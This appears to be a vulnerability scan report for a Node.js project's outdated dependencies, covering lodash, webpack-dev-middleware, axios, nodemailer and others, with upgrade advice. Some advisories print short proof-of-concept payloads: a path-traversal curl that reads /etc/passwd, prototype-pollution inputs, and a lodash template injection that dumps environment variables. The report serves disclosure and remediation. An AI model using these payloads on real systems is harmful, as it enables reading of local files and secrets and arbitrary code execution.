- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3Remediation: Upgrade to coveralls@3.0.0.
Overview
hawk is a library for the HTTP Hawk Authentication Scheme.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hawk to version 9.0.1 or higher.
References
high severity
- Vulnerable module: webpack-dev-middleware
- Introduced through: webpack-dev-middleware@1.12.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack-dev-middleware@1.12.2Remediation: Upgrade to webpack-dev-middleware@5.3.4.
Overview
Affected versions of this package are vulnerable to Path Traversal due to insufficient validation of the supplied URL address before returning the local file. This issue allows accessing any file on the developer's machine. The middleware can operate with either the physical filesystem or a virtualized in-memory memfs filesystem. When the writeToDisk configuration option is set to true, the physical filesystem is utilized. The getFilenameFromUrl method parses the URL and constructs the local file path by stripping the public path prefix from the URL and appending the unescaped path suffix to the outputPath. Since the URL is not unescaped and normalized automatically before calling the middleware, it is possible to use %2e and %2f sequences to perform a path traversal attack.
Notes:
This vulnerability is exploitable without any specific configurations, allowing an attacker to access and exfiltrate content from any file on the developer's machine.
If the development server is exposed on a public IP address or
0.0.0.0, an attacker on the local network can access the files without victim interaction.If the server permits access from third-party domains, a malicious link could lead to local file exfiltration when visited by the victim.
PoC
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Remediation
Upgrade webpack-dev-middleware to version 5.3.4, 6.1.2, 7.1.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.
PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
For more information, check out our blog post
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.12 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.11 or higher.
References
high severity
- Vulnerable module: lodash.defaultsdeep
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › lodash.defaultsdeep@4.3.2Remediation: Upgrade to nightwatch@1.0.4.
Overview
lodash.defaultsdeep is a Lodash method _.defaultsDeep exported as a Node.js module.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash.defaultsdeep to version 4.6.1 or higher.
References
high severity
- Vulnerable module: mquery
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › mquery@2.3.3Remediation: Upgrade to mongoose@5.11.7.
Overview
mquery is an Expressive query building for MongoDB
Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.
PoC
require('./env').getCollection(function(err, collection) {
assert.ifError(err);
col = collection;
done();
});
var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
var m = mquery(payload);
console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mquery to version 3.2.3 or higher.
References
high severity
- Vulnerable module: sequelize
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1Remediation: Upgrade to sequelize@4.12.0.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Hash Injection. Using specially crafted requests an attacker can bypass secret_token protections on websites using sequalize.
Node.js and other platforms allow nested parameters, i.e. token[$gt]=1 to be transformed into token = {"$gt":1}. When such a hash is passed into sequalize it will consider it a query (greater than 1) and find the first token in the DB, bypassing security of this endpoint.
PoC
db.Token.findOne({
where: {
token: req.query.token
}
);
Remediation
Upgrade sequelize to version 4.12.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.28.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.
Workaround
Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
Remediation
Upgrade axios to version 0.28.0, 1.6.0 or higher.
References
high severity
- Vulnerable module: diff
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3 › diff@3.2.0Remediation: Upgrade to mocha@5.0.3.
Overview
diff is a javascript text differencing implementation.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 48K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Mar 5th, 2018 - Fix issued
- Mar 6th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade diff to version 3.5.0 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@8.0.9.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the comment field in the list message option. An attacker can inject arbitrary headers into generated email messages by supplying crafted input containing CRLF sequences.
Remediation
Upgrade nodemailer to version 8.0.9 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@9.0.1.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the message-level raw option bypassing disableFileAccess and disableUrlAccess flags. An attacker can access arbitrary local files or perform server-side request forgery by supplying crafted input to the raw field, which bypasses intended access restrictions and results in sensitive data being sent to an attacker-controlled recipient.
Remediation
Upgrade nodemailer to version 9.0.1 or higher.
References
high severity
- Vulnerable module: shelljs
- Introduced through: eslint@3.19.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0 › shelljs@0.7.8Remediation: Upgrade to eslint@4.0.0.
Overview
shelljs is a wrapper for the Unix shell commands for Node.js.
Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS is used to create shell scripts which may be running as root, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS processes via the exec function when triggering EACCESS errors.
Note: Thi only impacts the synchronous version of shell.exec().
Remediation
Upgrade shelljs to version 0.8.5 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.
Notes
- Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or
AxiosHeaders.set(...). - IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a
PUTrequest) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint. - A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
high severity
new
